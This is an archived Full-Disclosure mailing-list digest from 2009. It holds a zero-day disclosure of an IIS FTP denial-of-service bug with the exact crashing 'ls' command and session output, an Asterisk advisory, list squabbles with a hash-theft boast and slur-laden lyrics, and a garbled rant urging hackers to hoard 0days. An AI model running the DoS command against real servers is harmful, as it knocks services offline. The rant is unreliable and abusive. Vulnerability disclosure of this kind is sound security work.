URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090903/566ff1f1/attachment.html 

From william.dragonlegion.dyer at gmail.com  Thu Sep  3 20:48:26 2009
From: william.dragonlegion.dyer at gmail.com (William Dyer)
Date: Thu, 3 Sep 2009 19:48:26 +0000
Subject: [Full-disclosure] <VIDEO> Global Technocracy - Part 2
Message-ID: <ed33be490909031248s23c8711eo5be093545af1459f@mail.gmail.com>

http://www.youtube.com/watch?v=D-Xml8y7MKI
http://www.youtube.com/watch?v=D-Xml8y7MKI

We cyber-educated. Most of our race has oppressed the system. It is up to us
to rise and reign in control over the technology used against us. Currently,
there is a balanced skill. Number of employed hackers to state Cyber
increasing daily because they deceive them into believing it is a good deal.
Old Guard needs these people, because they can not think like us. We must
prevent the continued flight of hackers to work on the corporate government.

White hat hacker is really to protect the empire of evil. One of our first
goals that he provide them with information necessary to bring them to this
realization. Using their positions within their respective governments and
corporations, there is a chance they may throw their shoes in the programs
of the car and lead to its termination. We are the masters of technology,
those who control us to use us against one another.

White House Negro hats, with their special place on our side of the owners,
they turn against the rest of us slaves, but not one of us. White-Hat
servants which is stored in our common wizard do its dirty work against us,
they were deceived in believing that they have some other, or better than
others.

Unmanned Ariel Vehicles (UAVs) is the observation Dron and weapons
platforms. First get the public recognition in the Warzone, now as well as
our other technologies, they turned against us.

Three teams have already received Phase 1 contracts to begin developing
develop a radical new aircraft within the U.S. Defense Advanced Research
Projects Agency (DARPA) program known as "vulture".

DARPA goals for Vulture are not trivial: 5 years on station with a 450kg /
1000 lb payload, 5kW of onboard power and enough speed patrol to remain on
station for 99% of the time from the wind, arising from 60,000-90,000 feet.

If the Vulture has achieved its goal, it would be a cheaper alternative to a
strong U.S. $ 20 billion + TSAT satellite program. This system could act as
a replacement for the transmission of communications or reconnaissance
satellites
The objective is to develop Vulture aircraft that can remain on station
continuously for more than five years to perform intelligence, surveillance,
reconnaissance (ISR), and communications flights over area of interest.

Odyssey, using solar energy to power the aircraft during daylight, and
stored solar energy to power the aircraft at night. Odyssey "Aurora" to the
"modular boat" approach, using 3 UAVs wingspan of 160 feet, which can
separate docking station and in the air.
Aurora Flight Sciences is involved in the construction of Northrop Grumman's
high-altitude UAV Global Hawk "


In the role and design, "Global Hawk" like "Lokhid U-2, grave 1950 spy
plane.
UAVs armed with Hellfire missiles currently used as a platform to engage
ground targets in sensitive areas. Armed criminals were first used in late
2001 from bases in Pakistan and Uzbekistan, primarily for premeditated
murder in Afghanistan.

Israeli UAVs, armed with missiles killed 48 Palestinian civilians in the
Gaza Strip, including two small children in the field, and a group of women
and girls in the empty streets. Israeli forces or to take all possible
precautions to ensure that targets were combatants, or transmitting the
distinction between combatants and civilians. Under U.S. drone attacks in
Pakistan, killing ten civilians for every extremist killed. American UAVs
attack was Pakistan's turn to think about the United States, and that 35 or
40 such attacks killed only 8 or 9 Top al-Qaeda.
only 10 of the 60 missions in the period from January 2006 to April 2009
strike their targets, killing 14 Al Qaeda and 687 civilians, the horrific
relationship.

Police agencies, which include using UAVs for everything from border
security to domestic surveillance high above the town.

Los Angeles County Sheriff's Department officially began testing that will
likely be the first unmanned surveillance aircraft that will be placed on
the domestic market in an urban environment.

One North Carolina county using UAVs equipped with low-light and infrared
cameras to monitor their citizens. The aircraft was assigned to monitoring
duties for motorcyclists Lenekspo Gaston County from a few hundred feet in
the air - close enough to identify a person - and other operations such as
aerial detection of marijuana fields, is planned.

This is not surprising to see how hypocritical state as the United States
and Israel directly involved in the development of this form of conflict,
which looks cleaner and "moral" from the standpoint of the user, but are
actually just further isolating them from the consequences of their actions.
Real time observation of everyday life transformed into drone-based
simulation and war makes the war in something like a game. This game is
deadly and immoral that the increasing number of States, like India, are
playing out.

Vulture would be more vulnerable to anti-aircraft missiles than a satellite,
and may become a target for fighters, and given the right launch profile

Attacks similar to those applied in relation to the satellites, or using the
threat companions against UAVs are an option. Because of their high altitude
traditional ground arms and even fighters are inefficient.
Maybe some kind of energy weapon can be used, laser or microwave burst off
its electronics.
Took a communications channel and took control of UAVs has the advantage of
its use against the enemy. Using combat surveillance, as well as guiding it
back to them as a missile. You can not fight what you do not see, so that
technologies such as satellites and UAVs to be useless to continue
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090903/9daa3a4e/attachment.html 

From r1d1nd1rty at hush.com  Thu Sep  3 22:30:23 2009
From: r1d1nd1rty at hush.com (r1d1nd1rty)
Date: Thu, 03 Sep 2009 17:30:23 -0400
Subject: [Full-disclosure] <VIDEO> Global Technocracy - Part 1
Message-ID: <20090903213023.C952A20041@smtp.hushmail.com>

prior to posting on FD you should probably...

1.) learn english
2.) learn english
3.) think of a better hacker jargon than "BlackThirteen, Dragon 
Legion, envoy of the Twelve Dragon Elders, Harbinger and Portent of 
the CyberRevolution"
4.) learn english

whats even worse (blackthirteen), is that you've actually just 
joined hak5 (aug 28th) and we've ALREADY stolen and cracked your 
hash... idiot.

now stfu and bounce you geeks...

Police think they can see me lean
I'm tint so it ain't easy to be seen
When you see me ride by they can see the glean
And my shine on the deck and the TV screen
Ride with a new chick, she like hold up
Next to the playstation controller is a full clip and my pistola
Turn a jacker into a coma
Girl you ain't know, I'm crazy like Krayzie Bone
Just tryin to bone ain't tryin to have no babies
Rock clean itself so I pull in ladies
Laws of patrolling you know they hate me
Music turned all the way up until the maximum
I can speak for some niggas tryin to jack for some
But we packin somethin that we have and um will have a nigga locked 
up in the maximum
Security cell, I'm grippin oak
Music loud and tippin slow
Twist and twistin like hit this dough
Pull up from behind and is in his throat
Windows down gotta stop pollution
CDs change niggas like who is that producing?
This the Play-N-Skillz when we out and cruisin
Got warrants in every city except Houston but I'm still ain't losin

/rd

remember to always r1d3 d1r7y...

On Thu, 03 Sep 2009 15:47:04 -0400 William Dyer 
<william.dragonlegion.dyer at gmail.com> wrote:
>http://www.youtube.com/watch?v=82yBqYXNKi4
>http://www.youtube.com/watch?v=82yBqYXNKi4
>
>Satellites used for general audio and visual observation of the 
>planet. In
>order to continue our revolution, we must ensure opportunities for 
>maneuver
>and to communicate with any security.
>All of this information many of you already know. However, it 
>seems that no
>one was willing to do all of it. People seem to agree with their 
>fate as
>prisoners under the Global Grid Control.
>
>If you have not understood this war against us as a species and, 
>in
>particular, hackers. The movement already underway to prevent 
>outside
>hacking Arts sanctioned public agencies and entities. Take our 
>words as a
>warning, unless you are against us. What do you stand on the 
>surveillance
>state? Are you sure you protect will stand behind you, or you 
>meatpuppet in
>cubefarm?
>
>We live in the general Grid Control. From satellites to unmanned 
>aircraft.
>Cameras on the streets. Our every move is tracked electronically, 
>and every
>thing we recorded, and generalized and analyzed to predict our 
>next move.
>
>You all have heard of cyber-war. Corporation of America raised its 
>NSA is
>responsible for the security of your computer. Who do you think 
>your enemy?
>Security officials want the total information awareness. 
>Registered hackers
>are terrorists, regardless of nationality. Hackers last line of 
>defense
>human defense against tyranny. If we want to this chance pass us, 
>the lives
>of our children and future generations will live in slavery, the 
>corporate
>state. Soon the possibility of creating designer children become a 
>reality.
>Do you believe in is an elected procedure will be placed on your 
>national
>health plan, or is more likely that those who have power and money 
>will have
>access to technology that will enable them to create a physical 
>gap between
>classes? "We are passing from 1984 in a beautiful new world, where 
>it is
>literally to create groups of people, at genetic level.
>
>What should you do now? The end of the process of full disclosure. 
>Develop
>your exploits and create 0days. Do not release them at will. When 
>the time
>comes, you'll know what to do. Use your appliances in the 
>strategic plan. We
>strive to provide the direction of the script kiddies, and just 
>hate the
>white hats as they close their eyes they are actually wolves in 
>sheeples
>clothes.
>
>This is not just about China, or Iran, or the Corporate States of 
>America or
>the English government oversight, or Australia, or Russia, or any 
>particular
>location hampered technocrats.
>
>
>fear to read
>scary thought
>I am afraid even that your forum
>because you already have not you fear
>You agree that all this is happening, and nothing here has helped
>
>----
>blackthirteen


From kcope2 at googlemail.com  Thu Sep  3 22:53:52 2009
From: kcope2 at googlemail.com (Kingcope)
Date: Thu, 3 Sep 2009 23:53:52 +0200
Subject: [Full-disclosure] Microsoft Internet Information Services 5.0/6.0
	FTP SERVER DENIAL OF SERVICE ("Stack Exhaustion")
Message-ID: <72f8221d0909031453p5b67251fo8e96e192ae0723c9@mail.gmail.com>

***** MS IIS FTPD DoS ZER0DAY *****

There is a DoS vulnerability in the globbing functionality of IIS FTPD.
Anonymous users can exploit this if they have read access to a directory!!!
Normal users can exploit this too if they can read a directory.

Example session where the anonymous user has read access to the folder "pub":

C:\Users\Nikolaos>ftp 192.168.2.102
Verbindung mit 192.168.2.102 wurde hergestellt.
220 Microsoft FTP Service
Benutzer (192.168.2.102:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Kennwort:
230 Anonymous user logged in.
ftp> ls "-R p*/../"
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed
the connection)
ftp>
ftp>

By looking into my debugging session with OllyDbg I see that an
exception is raised and
the ftp service crashes due to a "stack overflow", what is a stack exhaustion.
If the ftp service is set to "manual" startup in services control
manager the service
needs to be restarted manually.
IIS 5.0 and 6.0 were tested and are affected.

Best Regards,

Nikolaos Rangos


From security at asterisk.org  Thu Sep  3 23:47:35 2009
From: security at asterisk.org (Asterisk Security Team)
Date: Thu, 03 Sep 2009 17:47:35 -0500
Subject: [Full-disclosure] AST-2009-006: IAX2 Call Number Resource Exhaustion
Message-ID: <E1MjL5b-0004uQ-Dc@mail.digium.com>

               Asterisk Project Security Advisory - AST-2009-006

   +------------------------------------------------------------------------+
   |      Product       | Asterisk                                          |
   |--------------------+---------------------------------------------------|
   |      Summary       | IAX2 Call Number Resource Exhaustion              |
   |--------------------+---------------------------------------------------|
   | Nature of Advisory | Denial of Service                                 |
   |--------------------+---------------------------------------------------|
   |   Susceptibility   | Remote unauthenticated sessions                   |
   |--------------------+---------------------------------------------------|
   |      Severity      | Major                                             |
   |--------------------+---------------------------------------------------|
   |   Exploits Known   | Yes - Published by Blake Cornell < blake AT       |
   |                    | remoteorigin DOT com > on voip0day.com            |
   |--------------------+---------------------------------------------------|
   |    Reported On     | June 22, 2008                                     |
   |--------------------+---------------------------------------------------|
   |    Reported By     | Noam Rathaus < noamr AT beyondsecurity DOT com >, |
   |                    | with his SSD program, also by Blake Cornell       |
   |--------------------+---------------------------------------------------|
   |     Posted On      | September 3, 2009                                 |
   |--------------------+---------------------------------------------------|
   |  Last Updated On   | September 3, 2009                                 |
   |--------------------+---------------------------------------------------|
   |  Advisory Contact  | Russell Bryant < russell AT digium DOT com >      |
   |--------------------+---------------------------------------------------|
   |      CVE Name      | CVE-2009-2346                                     |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Description | The IAX2 protocol uses a call number to associate        |
   |             | messages with the call that they belong to. However, the |
   |             | protocol defines the call number field in messages as a  |
   |             | fixed size 15 bit field. So, if all call numbers are in  |
   |             | use, no additional sessions can be handled.              |
   |             |                                                          |
   |             | A call number gets created at the start of an IAX2       |
   |             | message exchange. So, an attacker can send a large       |
   |             | number of messages and consume the call number space.    |
   |             | The attack is also possible using spoofed source IP      |
   |             | addresses as no handshake is required before a call      |
   |             | number is assigned.                                      |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Resolution | Upgrade to a version of Asterisk listed in this document  |
   |            | as containing the IAX2 protocol security enhancements. In |
   |            | addition to upgrading, administrators should consult the  |
   |            | users guide section of the IAX2 Security document         |
   |            | (IAX2-security.pdf), as well as the sample configuration  |
   |            | file for chan_iax2 that have been distributed with those  |
   |            | releases for assistance with new options that have been   |
   |            | provided.                                                 |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Discussion | A lot of time was spent trying to come up with a way to   |
   |            | resolve this issue in a way that was completely backwards |
   |            | compatible. However, the final resolution ended up        |
   |            | requiring a modification to the IAX2 protocol. This       |
   |            | modification is referred to as call token validation.     |
   |            | Call token validation is used as a handshake before call  |
   |            | numbers are assigned to IAX2 connections.                 |
   |            |                                                           |
   |            | Call token validation by itself does not resolve the      |
   |            | issue. However, it does allow an IAX2 server to validate  |
   |            | that the source of the messages has not been spoofed. In  |
   |            | addition to call token validation, Asterisk now also has  |
   |            | the ability to limit the amount of call numbers assigned  |
   |            | to a given remote IP address.                             |
   |            |                                                           |
   |            | The combination of call token validation and call number  |
   |            | allocation limits is used to mitigate this denial of      |
   |            | service issue.                                            |
   |            |                                                           |
   |            | An alternative approach to securing IAX2 would be to use  |
   |            | a security layer on top of IAX2, such as DTLS [RFC4347]   |
   |            | or IPsec [RFC4301].                                       |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                           Affected Versions                            |
   |------------------------------------------------------------------------|
   |             Product              | Release Series |                    |
   |----------------------------------+----------------+--------------------|
   |       Asterisk Open Source       |     1.2.x      | All versions       |
   |----------------------------------+----------------+--------------------|
   |       Asterisk Open Source       |     1.4.x      | All versions       |
   |----------------------------------+----------------+--------------------|
   |       Asterisk Open Source       |     1.6.x      | All versions       |
   |----------------------------------+----------------+--------------------|
   |    Asterisk Business Edition     |     B.x.x      | All versions       |
   |----------------------------------+----------------+--------------------|
   |    Asterisk Business Edition     |     C.x.x      | All versions       |
   |----------------------------------+----------------+--------------------|
   |    s800i (Asterisk Appliance)    |     1.3.x      | All versions       |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                              Corrected In                              |
   |------------------------------------------------------------------------|
   |                   Product                   |         Release          |
   |---------------------------------------------+--------------------------|
   |            Asterisk Open Source             |          1.2.35          |
   |---------------------------------------------+--------------------------|
   |            Asterisk Open Source             |         1.4.26.2         |
   |---------------------------------------------+--------------------------|
   |            Asterisk Open Source             |         1.6.0.15         |
   |---------------------------------------------+--------------------------|
   |            Asterisk Open Source             |         1.6.1.6          |
   |---------------------------------------------+--------------------------|
   |          Asterisk Business Edition          |         B.2.5.10         |
   |---------------------------------------------+--------------------------|
   |          Asterisk Business Edition          |         C.2.4.3          |
   |---------------------------------------------+--------------------------|
   |          Asterisk Business Edition          |         C.3.1.1          |
   |---------------------------------------------+--------------------------|
   |         S800i (Asterisk Appliance)          |         1.3.0.3          |
   +------------------------------------------------------------------------+

 +-----------------------------------------------------------------------------+
 |                                   Patches                                   |
 |-----------------------------------------------------------------------------|
 |                                 Link                                 |Branch|
 |----------------------------------------------------------------------+------|
 |http://downloads.asterisk.org/pub/security/AST-2009-006-1.2.diff.txt  |1.2   |
 |----------------------------------------------------------------------+------|
 |http://downloads.asterisk.org/pub/security/AST-2009-006-1.4.diff.txt  |1.4   |
 |----------------------------------------------------------------------+------|
 |http://downloads.asterisk.org/pub/security/AST-2009-006-1.6.0.diff.txt|1.6.0 |
 |----------------------------------------------------------------------+------|
 |http://downloads.asterisk.org/pub/security/AST-2009-006-1.6.1.diff.txt|1.6.1 |
 +-----------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |     Links      | http://www.rfc-editor.org/authors/rfc5456.txt         |
   |                | https://issues.asterisk.org/view.php?id=12912         |
   |                | http://www.beyondsecurity.com/ssd.html                |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Asterisk Project Security Advisories are posted at                     |
   | http://www.asterisk.org/security                                       |
   |                                                                        |
   | This document may be superseded by later versions; if so, the latest   |
   | version will be posted at                                              |
   | http://downloads.digium.com/pub/security/AST-2009-006.pdf and          |
   | http://downloads.digium.com/pub/security/AST-2009-006.html             |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                            Revision History                            |
   |------------------------------------------------------------------------|
   |       Date       |        Editor        |        Revisions Made        |
   |------------------+----------------------+------------------------------|
   | 2009-09-03       | Russell Bryant       | Initial release              |
   +------------------------------------------------------------------------+

               Asterisk Project Security Advisory - AST-2009-006
              Copyright (c) 2009 Digium, Inc. All Rights Reserved.
  Permission is hereby granted to distribute and publish this advisory in its
                           original, unaltered form.


From th3truth at hush.com  Thu Sep  3 22:56:40 2009
From: th3truth at hush.com (th3truth at hush.com)
Date: Thu, 03 Sep 2009 14:56:40 -0700
Subject: [Full-disclosure] <VIDEO> Global Technocracy - Part 1
Message-ID: <20090903215640.8C90720040@smtp.hushmail.com>

Look, not everyone is a native English speaker. Not everyone has 
ideas that you agree with, and to be honest I thought that this 
post was kind of a bunch of mumbo jumbo that no one really cares 
about.

However, before trying to get all "leeter-than-thou," why don't you 
try considering the concepts being presented to you and acting like 
a normal human being.

The annoying part of this thread isn't the barely-legible writing 
about security, it's the fool that thinks he knows everything 
posting lyrics to some stupid Chamillionaire song as a sig on EVERY 
POST.

/ truth


From quanticle at gmail.com  Fri Sep  4 13:52:32 2009
From: quanticle at gmail.com (Rohit Patnaik)
Date: Fri, 04 Sep 2009 07:52:32 -0500
Subject: [Full-disclosure] <VIDEO> Global Technocracy - Part 1
In-Reply-To: <20090903215640.8C90720040@smtp.hushmail.com>
References: <20090903215640.8C90720040@smtp.hushmail.com>
Message-ID: <4AA10D90.2040206@gmail.com>

The real problem is both sides in this "discussion". We've got one side 
presenting a "CIA did 9/11" style of conspiracy theory, and the other 
side presenting a flawed, ad-hominem response. 

I always find it ridiculous whenever someone says that there's a grand 
conspiracy of technocrats ruling the world. The world is waaay too 
irrational for that to be the case.

--Rohit Patnaik

th3truth at hush.com wrote:
> Look, not everyone is a native English speaker. Not everyone has 
> ideas that you agree with, and to be honest I thought that this 
> post was kind of a bunch of mumbo jumbo that no one really cares 
> about.
>
> However, before trying to get all "leeter-than-thou," why don't you 
> try considering the concepts being presented to you and acting like 
> a normal human being.
>
> The annoying part of this thread isn't the barely-legible writing 
> about security, it's the fool that thinks he knows everything 
> posting lyrics to some stupid Chamillionaire song as a sig on EVERY 
> POST.
>
> / truth
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>   


From full-censorship at hushmail.com  Fri Sep  4 14:37:57 2009
From: full-censorship at hushmail.com (full-censorship at hushmail.com)
Date: Fri, 04 Sep 2009 13:37:57 +0000
Subject: [Full-disclosure] Blonde moment for the list administrator
Message-ID: <20090904133757.29856B8043@smtp.hushmail.com>

i think john was having a "blonde moment" when he banned n3td3v.

"a momentary lapse in concentration, resulting in an embarrassing 
situation."

we're supposed to be attracting hackers to the list not banning 
them.

lawls


From ayblinkin at gmail.com  Fri Sep  4 15:34:28 2009
From: ayblinkin at gmail.com (Lincoln Anderson)
Date: Fri, 4 Sep 2009 09:34:28 -0500
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <20090904133757.29856B8043@smtp.hushmail.com>
References: <20090904133757.29856B8043@smtp.hushmail.com>
Message-ID: <000c01ca2d6c$cfbc6a30$6f353e90$@com>

*blatantly ignoring "do not feed the trolls" sign*

Based solely on evidence seen on this list, n3td3v is as much a hacker as a
tea-kettle is an opera singer.

If I were a list administrator, and I had some idiot posing as an intarnetz
lawlyer threatening suit every time his name was mentioned, I'd ban his ass
too.  That's just proper forum administration.  The places where that
doesn't get quickly devolve into back and forth name calling and mindless
trollery.

*looks for road signs*

Now, which way to 4chan again?

-----Original Message-----
From: full-disclosure-bounces at lists.grok.org.uk
[mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of
full-censorship at hushmail.com
Sent: Friday, September 04, 2009 8:38 AM
To: full-disclosure at lists.grok.org.uk
Subject: [Full-disclosure] Blonde moment for the list administrator

i think john was having a "blonde moment" when he banned n3td3v.

"a momentary lapse in concentration, resulting in an embarrassing 
situation."

we're supposed to be attracting hackers to the list not banning 
them.

lawls

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


From stuart at cyberdelix.net  Fri Sep  4 15:46:19 2009
From: stuart at cyberdelix.net (lsi)
Date: Fri, 04 Sep 2009 15:46:19 +0100
Subject: [Full-disclosure] windows future
In-Reply-To: <4A97EA8D.12326.289BF53C@stuart.cyberdelix.net>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>,
	<4A97EA8D.12326.289BF53C@stuart.cyberdelix.net>
Message-ID: <4AA1283B.30501.E988958@stuart.cyberdelix.net>

Hi All,

Sorry for the delay, I had some urgent migration planning to attend 
to ... ;)  Stats below.  Short version: evacuate.  Long version:

- stats are in, exponential curve is real, see it for yourself here:

http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf

(page 10)

- I also added up the numbers at 
http://www.virusbtn.com/resources/malwareDirectory/prevalence/index.xml?year=2009
... exponential curve also visible, though I think their stats are 
dodgy, their website is already suffering from math limits - it is 
reporting current yearly stats as NaN% (Not A Number).

- average rate of change per year (annual growth rate), calculated 
from Symantec's chart: 243%

- approximate date when number of NEW threats reached 1 Million: 2008

- approximate date when number of NEW threats will reach 1 Billion: 
2015

- approximate date when number of NEW threats will reach 2 Billion: 
2016

- charts showing this: 
http://www.cyberdelix.net/files/malware_mutation_projection.pdf

- will the AV companies be able to classify 1 billion new threats per 
year? that is 2.739 MILLION new threats per DAY (over 1900 new 
threats per minute).

- will your computer cope with scanning every EXE, DLL, PIF etc 1 
billion times, every time you use them?

- aside from the theoretical limits imposed by hardware and software, 
there is one extra limit, imposed by users.  Users will not tolerate 
machines operating slowly, and will seek alternative platforms well 
before 100% CPU utilisation (either as a direct result of the size of 
the blacklist, or indirectly caused by swapping due to low RAM).  
This user limit might be lower than 20% CPU utilisation.  If users 
figure out that 20% of their time is being wasted, and rising fast, 
they will run for the exit.

- will you tolerate your machine constantly processing a list a 
billion items long?

- do you plan to, and can you afford to, upgrade your compute power 
by 243%, every year?

- will you do this, even though you know viable alternative platforms 
exist, at less total cost to yourself?

- if you're already irritated that AV is slowing down your machine, 
consider that malware levels will be 500 times higher in approx 5 
years (assuming growth rates continue at 243%). That means your AV 
will be running 500 times slower.  Unless you upgrade your machine by 
500 x current (eg. to an effective speed of approx 1000 GHz), your 
machine is going to slow down even more.  Given that chipmakers don't 
seem to be able to get much past 5GHz, without melting the die, that 
means you'll need 200 of today's processors, just for malware 
filtering, by 2015.

- Moore's Law says compute power doubles (200%) every 24 months.  
However, malware is growing at 243% every 12 months.  Thus it is 
already exceeding Moore's Law, by a massive margin.  I suspect this 
means this race is unwinnable, and we should give up now, and devote 
our resources to something sustainable.

- how AV writers will generate 2.7 million new threats/day: 

"Evolvable Malware":
http://www.genetic-programming.org/hc2009/3-Noreen/Noreen-Presentation.ppt

"A Field Guide to Genetic Programming":
http://www.gp-field-guide.org.uk/

Wiki:
http://en.wikipedia.org/wiki/Genetic_programming

- the insecurity of Windows creates a public space, of sorts, an area 
of common ground, with shared ownership - and this is thus 
susceptible to the tragedy of the commons ... 
http://en.wikipedia.org/wiki/Tragedy_of_the_commons ... so no, I 
don't think malware authors will slow down the mutation rate, so as 
to prolong the life of the platform, they do not work together.  As 
Messagelabs puts it, "there's no honour amongst thieves" ... 
http://www.messagelabs.com/mlireport/MLIReport_Annual_2008_FINAL.pdf

- the greenhouse emissions caused by billions of computers checking 
billions of items for billions of malware are likely to be 
measurable, and will increasingly erode the world's ability to meet 
environmental targets

- my own maths might be dodgy, please check it, spreadsheet: 
http://www.cyberdelix.net/files/malware_mutation_projection.ods

Stu

On 28 Aug 2009 at 15:32, lsi wrote:

From:           	"lsi" <stuart at cyberdelix.net>
To:             	full-disclosure at lists.grok.org.uk
Date sent:      	Fri, 28 Aug 2009 15:32:45 +0100     

> Thanks for the comments, indeed, the exponential issue arises due to 
> use the of blacklisting by current AV technologies, and a switch to 
> whitelisting could theoretically mitigate that, however, I'm not sure 
> that would work in practice, there are so many little bits of code 
> that execute, right down to tiny javascripts that check you've filled 
> in an online form correctly, and the user might be bombarded with 
> prompts.  Falling back on tweaks to user privileges and UAC prompts 
> is hardly fixing the problem.  The core problem is the platform is 
> inherently insecure, due to its development, licensing and marketing 
> models, and nothing is going to fix that.  Even if fixing it became 
> somehow possible, the same effort could be spent improving a 
> competing system, rather than fixing a broken one.
> 
> Just to complete the extrapolation, the below.
> 
> Assuming that mutation rates continue to increase exponentially, 
> infection rates will reach a maximum when the average computer 
> reaches 100% utilisation due to malware filtering.  Infection rates 
> will then decline as vulnerable hosts "die off" due to their 
> inability to filter.  These hosts will either be replaced with new, 
> more powerful Windows machines (before these themselves surcumb to 
> the exponential curve), OR, they will be re-deployed, running a 
> different, non-Windows platform.
> 
> Eventually, the majority of computer owners will get the idea that 
> they don't need to buy ever-more powerful gear, just to do the same 
> job they did yesterday (there may come a time when the fastest 
> machine available is unable to cope, there is every possibility that 
> mutation rates will exceed Moore's Law).  The number of vulnerable 
> hosts will then fall sharply, as the platform is abandoned en-masse.
> 
> At this time, crackers who have been depending upon a certain amount 
> of cracks per week for income, will find themselves short.  They will 
> then, if they have not already, refocus their activities on more 
> profitable revenue streams.
> 
> If every computer is running a diverse ecosystem, crackers will have 
> no choice but to resort to small-scale, targetted attacks, and the 
> days of mass-market malware will be over, just as the days of the 
> mass-market platform it depends on, will also be over.
> 
> And then, crackers will need to be very good crackers, to generate 
> enough income from their small-scale attacks.  If they aren't very 
> good, they might find it easier and more profitable to get a 9-to-5 
> job.  The number of malware authors will then fall sharply.
> 
> The world will awaken from the 20+ year nightmare that was Windows, 
> made possible only by manipulative market practices, driven by greed, 
> and discover the only reason it was wracked with malware, was because 
> it had all its eggs in one basket.
> 
> Certainly, vulnerabilities will persist, and skilled cracking groups 
> may well find new niches from which to operate.  But diversifying the 
> ecosystem raises the barrier to entry, to a level most garden-variety 
> crackers will find unprofitable, and that will be all that is 
> required, to encourage most of them to do something else with their 
> lives, and significantly reduce the incidence of cybercrime.
> 
> (now I phrase it like that, it might be said, that by buying 
> Microsoft, you are indirectly channelling money to organised crime 
> gangs, who most likely engage in other kinds of criminal activity, in 
> addition to cracking, such as identity theft, money laundering, and 
> smuggling. That is, when you buy Microsoft, you are propping up the 
> monoculture, and that monoculture feeds criminals, by way of its 
> inherent flaws.  Therefore, if you would like to reduce criminal 
> activity, don't buy Microsoft.)
> 
> -EOF
> 
> On 27 Aug 2009 at 13:45, lsi wrote:
> 
> From:           	"lsi" <stuart at cyberdelix.net>
> To:             	full-disclosure at lists.grok.org.uk
> Date sent:      	Thu, 27 Aug 2009 13:45:01 +0100
> Priority:       	normal                                               
>             
> Subject:        	[Full-disclosure] windows future
> Send reply to:  	stuart at cyberdelix.net
> 	<full-disclosure.lists.grok.org.uk>                                  
>       
> 	<mailto:full-disclosure-
> request at lists.grok.org.uk?subject=unsubscribe>     
> 	<mailto:full-disclosure-request at lists.grok.org.uk?subject=subscribe> 
>       
> 
> > [Some more extrapolations, this time taken from the fact that malware 
> > mutation rates are increasing exponentially. - Stu]
> > 
> > (actually, this wasn't written for an FD audience, please excuse the 
> > bit where it urges you to consider your migration strategy, I know 
> > you're all ultra-l33t and don't have a single M$ box on your LAN)
> > 
> > http://www.theregister.co.uk/2009/08/13/malware_arms_race/
> > 
> > If this trend continues, there will come a time when the amount of 
> > malware is so large, that anti-malware filters will need more power 
> > than the systems they are protecting are able to provide.
> > 
> > At this time, those systems will become essentially worthless, and 
> > unusable.
> > 
> > You can choose to leave now, or later.  But you cannot choose to 
> > stay...
> > 
> > (I mean, that the Windows platform seems destined to fill, 
> > completely, with malware, such that your computer will spend ALL its 
> > time on security matters, and will have no CPU, RAM etc left for 
> > actual work.  At the end of the day, the ability of malware to infect 
> > Windows machines is due to the fact that Windows is a monoculture, a 
> > monolith, built by a single company, with many interconnections and 
> > hidden alleyways.  It's hard to imagine a platform LESS vulnerable - 
> > compare with open-source efforts, which are diverse, homogenous and 
> > connect via open protocols.  Malware finds life hard in the sterile, 
> > purified world of RFCs, where one of many different programs may 
> > process your malicious payload, all of which have been peer-reviewed. 
> >  In Windows, malware knows that a specific Microsoft EXE will process 
> > its data, knows that the code has not been thoroughly checked, and 
> > can make use of undocumented mechanisms.
> > 
> > So basically Microsoft, by hoarding their source, by tightly 
> > integrating functionality, and by seeking to monopolise the various 
> > markets created by the platform (browser, media player, office 
> > software), have doomed Windows, and everything that runs on it.  The 
> > lack of diversity in the Windows ecosystem means that it is highly 
> > vulnerable to attack by predators.  The fact that malware mutation 
> > rates are accelerating is a clear indicator that the foxes are 
> > circling.  This is the beginning of a death spiral; the malware 
> > numbers we've seen in the past 20 years were the low end of an 
> > exponential curve, and we're now getting to the steep part.
> > 
> > The problem is that any given computer is only capable of so much 
> > processing.  It has an upper limit to the amount of malware it can 
> > filter, those limits being related to CPU speed, RAM, diskspace, 
> > network bandwidth.  This upper limit looks like a horizontal line, on 
> > the chart that shows the exponential curve mentioned above.
> > 
> > So my point, is that eventually, the exponential curve is going to 
> > cross that horizontal line, for any given computer, and when that 
> > happens, that computer will no longer be able to filter malware.  It 
> > will only be able to filter a subset, and thus be vulnerable to the 
> > rest. Consequently it will not be usable, for instance, on the web, 
> > and will essentially become a doorstop...
> > 
> > The only escape from this inevitability is to ditch the platform that 
> > is permitting the malware - that is, the only escape is to ditch 
> > Windows. It is being eaten alive, by predators that only have a 
> > foothold because there are weaknesses in the platform.
> > 
> > Given that it can take years to migrate to a new operating system, I 
> > do recommend, if you have not already done so, that you commence 
> > planning to ditch Windows.  I might be wrong about the exponential 
> > curve, but if I'm not, then there may not be a lot of time in between 
> > when malware levels seem managable, and the time when they are not.  
> > If your business depends on Windows machines and they all become 
> > unusable, you will have no business.  What you definitely must NOT 
> > do, is assume that Windows is going to be around for a long time.  It 
> > is a dead man walking.
> > 
> > - Of course, there might be a few years yet.  You can spend those 
> > years running up your IT bill, with lots of new computers that are 
> > required to filter all that malware while still performing at a 
